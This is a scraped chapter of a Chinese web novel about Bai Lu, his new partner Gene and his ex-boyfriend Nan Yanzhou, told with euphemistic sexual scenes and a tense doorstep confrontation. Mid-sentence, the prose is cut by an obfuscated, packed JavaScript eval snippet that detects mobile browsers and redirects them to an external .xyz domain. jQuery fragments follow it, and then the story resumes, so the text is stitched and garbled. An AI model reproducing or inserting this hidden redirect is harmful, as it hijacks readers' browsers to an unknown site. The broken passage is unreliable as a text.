36.泡芙
作品:《你前男友更喜欢我诶》 在门口做料理声音太吵,很容易打扰到过路人。
白璐也不知他们是怎么从案桌那边过来的。
筷子搅面的速度太快,让他觉得酸.麻,却又无法停下。
白璐一手撑着门板,一手反搭住吉恩的小臂,感知对方操作的幅度。
私人料理,非营业时间,他该竭力保持安静。
白璐以为自己能做到。
“小璐,”吉恩暂时停下,发出声喟叹,“你好棒。”
这份夸赞太过羞.耻,白璐只觉得有蚂蚁爬过脊椎,顺着后.颈一路向上。
料理的技术明明是他传授的,现在居然会被学生夸赞。
真是反客为主。
白璐张嘴,刚想说点什么,吉恩看准时机,故意一撞。
那美妙的音乐,便毫无阻挡地流淌了出来。
这坏心眼的家伙!
白璐咬.住唇,不给对方第二次得逞的机会。
吉恩低声笑了,虽然在笑,却和平日爽朗的模样全然不同。
那是只有在做私人料理时,才会冒出的吉恩。
坏坏的,让他想咬一口的大金毛。
料理进入最后阶段,需要更高速的搅拌才能激发出食材的潜能。
白璐再没余力顾忌其他。
他双手撑门,不自觉屏住呼吸,等待着完成的时刻降临。
“小璐?”
门外忽然传来沙哑的轻唤。
离他如此近,几乎是在咫尺之间。
白璐一惊,緊得吉恩额角青.筋暴起,差点交代。
嘭嘭的敲门声响起,震得白璐手掌发.颤。
他像被毒蝎蛰到般猛地后退,靠在吉恩怀里。
汗涔涔的,呼吸未平。
门外是……南砚舟?
白璐大脑一片空白,差点以为自己在做梦。
“小璐!我知道你在里面!”砸门声逐渐变大,趋于愤怒,“开门!你在做什么!!”
浪漫的私人空间就这样被无情入.侵,小白璐愣在半空,逐渐有躲起来的趋势。
世上再没有比前任砸门更糟心的声音了。
短暂错愕后,取而代之的就是突然被打断的愤怒。
白璐推开吉恩。
他要冲出去,再给那恬不知耻的混蛋一拳!
温暖的家即将消失,眼看小吉恩就要彻底离开,吉恩用力一拉,将白璐重新锁进怀里。
“你……”白璐惊讶,紧接着,声音破碎。
吉恩好像忽然间聋了,什么都听不到,旁若无人地继续。
“等等!”白璐轻呼。
他试图阻止,却发现自己根本用不上力。
狂乱的爱肆.意宣.泄,每一次共振,都撞得白璐震.颤。
吉恩始终沉默,霸道又不讲理。
白璐闭上眼,耳边再听不到杂音。
心跳,心跳。
两个人的频率由肌.肤传递,在炉火最旺盛之际,合二为一。
小白璐仰起头,在吉恩的掌心,乖乖交出珍藏起来的牛奶。
白璐感觉自己变成了一个泡芙。
新出炉的,热腾腾的,松软的泡芙。
被身后这家伙用甜蜜的奶油,彻底灌满。
* * *
南砚舟不知何时停止了砸门的动作。
他呆呆站在原地,无法相信自己的耳朵。
里面的料理还在继续。
甚至更为火热。
那分明是白璐的声音,却与他记忆里的人差别很大。
白璐向来克制,鲜少有縱情的时刻。
真正在一起的六年里,两人无数次欢.好,他一直以为,自己能给对方带来最好的体验。
可刚刚,冲刷着白璐的快乐,仿佛是他从未给予过的。
南砚舟踉跄后退,下意识否认这家店里的一切。
或许是司机看错了。
在里面乱来的人并非白璐,而是声线相似,放.浪形骸的亚洲人。
南砚舟有种掉头就走的冲动。
他该守在白璐的出租屋前,耐心等对方回来的。
迟疑的步伐刚要迈动,身后忽然传来转锁的响动。
店门吱呀打开,像是把上.膛的槍,把想逃的人生生逼停。
南砚舟僵硬着转身,看见了头蓬乱、碍眼的金发。
男人很高,低着脑袋往外出,左臂向上扶着门框,肌肉绷紧,显出结实的线条,肩膀宽阔,如同一座小山,将店内挡个严实。
究竟有多高?
一米九?两米?
尚未散尽的热.气和浓重的交歡气息扑面而来,吉恩抬起头,碧眸深沉,眼底透着危险的情慾。
跟南砚舟收到的照片里的形象,判若两人。
如此强烈的压迫感,当真是那个只会对白璐傻笑,蠢兮兮的黄毛外国佬?
“没看到休业中的牌子吗?乱敲门可是很没礼貌的,大叔。”
吉恩语气轻挑,脸上却毫无笑意。
霞光渐褪,笼得他面部阴影更重。
南砚舟从未在一个人的身上,见到如此强烈的割裂感。
对方的拳头松松散散垂在胯边,却好像蕴含着可怕能量,随时都能将他的脑袋轰烂。
惊疑以极快的速度达到顶.点,却又在眨眼间消散。
南砚舟稳下心神,冷静地审视目前的状况。
这种混混很容易被激怒,如果真能动手打他,倒是个绝佳的突破口。
他可以光明正大地把这家伙送进警局,从白璐身边赶走。
羁押的天数不要紧,只需几个小时,他就有办法让白璐回心转意。
“是么?”南砚舟努力控制面部表情,挑衅一笑,“可是我的爱人就在里面,劳驾让让,别挡在这碍眼。”
果然,听到“爱人”两个字,吉恩神色一变,整个身体都如同上满了的弦,蓄势待发。
“你是小璐叫的鸭子?一次多少钱?”南砚舟从怀里掏出一叠钞票,在他眼前晃了晃,“干完活就快点滚?嗯?”
吉恩的视线越过钞票,死死盯住南砚舟的脸。
“嫌不够?”南砚舟把钱摔在他脸上,从怀里又掏出一沓,“你这种品质的鸭子还这么贪心,不怕以后没生意做?”
动手啊。
南砚舟在心里催促,竭力压住想要退缩的本能。
如果对方正面给他一拳,他的鼻梁骨很可能会就此骨折。
南砚舟不想受太重的伤。
他来得匆忙,没在当地雇佣保镖,司机也是临时找来的,拿钱做事,不太可能在危机时刻帮他。
南砚舟不打算回手,这样对方的罪责会判得更大,而且还能赚一波白璐的同情。
但他必须想办法
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352780|181475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把伤势控制在安全范围内。
如果他就此毁容,事情会变得更加棘手。
白璐不是个看脸的人,可将来的事儿,谁又能说得准。
南砚舟不想增加隐形的婚姻危机。
或许他该在对方挥拳的同时侧头,这样就能保住五官……
身.体在抑制不住地发抖。
南砚舟挺直腰杆,将第二叠钱也砸了过去。
只不过这次,他的钱下移半分,瞄准的是对方的胸口。
南砚舟咬紧后槽牙,对自己悄然流露出的畏惧感到愤怒。
他鲜少有这种直面危险的情况。
过去在京城,无论什么场合,他身边总是前呼后拥的一大堆人。
哪怕陪白璐学过防身术,也没机会在实战中应用。
在商战中翻手为云覆手为雨,靠的是头脑而非蛮力。
南砚舟从未如此觉得屈辱。
他这种身份的人,不该沦落到这种境地。
好在很快,他发现对方也没有表现出来的那样镇定。
怒火以肉眼可见的速度不断累积,双方离得如此之近,他甚至能听见拳头捏紧时,骨骼摩.擦出的瘆人脆响。
来吧,动手。
南砚舟当着对方的面,又刻意摆弄了下那束花。
像这种大块头,基本都是头脑简单,四肢发达。
尤其他们刚刚才交.缠过,正是占有.欲爆发的时刻。
南砚舟不信对方能忍得住。
被侵.犯领地的畜生,绝对没办法冷静……
“吉恩,”一双手忽然从身后出现,揽住吉恩的月要,“让开吧。”
吉恩瞳孔骤缩,注意力顿时从面前的南砚舟身上转开。
比起暴揍这家伙一顿,他更想把白璐锁回屋内。
藏得严严实实的,绝对、绝对不让别人看一眼。
南砚舟盯着那双手,呼吸一滞。
魂牵梦绕的爱人终于露出了身.体的一部分,却如此吝啬,不让他窥见全貌。
上帝。
他只是想亲眼看见白璐的脸。
为何过去稀松平常的事,现在却变得这般艰难?
南砚舟心如刀割,却移不开视线。
哪怕这双手,正抱在另一个男人的月要上。
“乖,让我和他谈谈。”
那双手温柔地在吉恩月复部安撫,宛如驯兽师娴熟地哄回即将脱笼的猛.兽。
吉恩喘.著粗氣,倔了片刻,终究还是长长地叹一口气。
随后,妥协般,覆住白璐的手。
听话的大狗可以得到奖励。
感觉到后.颈落下一吻,吉恩舒.服地缩了缩肩。
“小璐~”
“痒么?”
“哈哈,别,别闹。”
“磨蹭什么呢?让我出去。”
“没磨蹭。”
“快点。”
“啊~我的腿~站麻了,动不了~诶诶,痛痛痛~”
白璐揪住大金毛的耳朵,艰难把这堵墙移开。
该面对的迟早都要面对,既然对方找上门来,那就没有躲的道理。
其实他早该出来的,奈何被灌的奶油太多,清理了好一会儿。
虽然用小雨伞能省掉很多麻烦,但白璐还是更爱这样。
他喜欢吉恩的礼物,残留着的感觉。

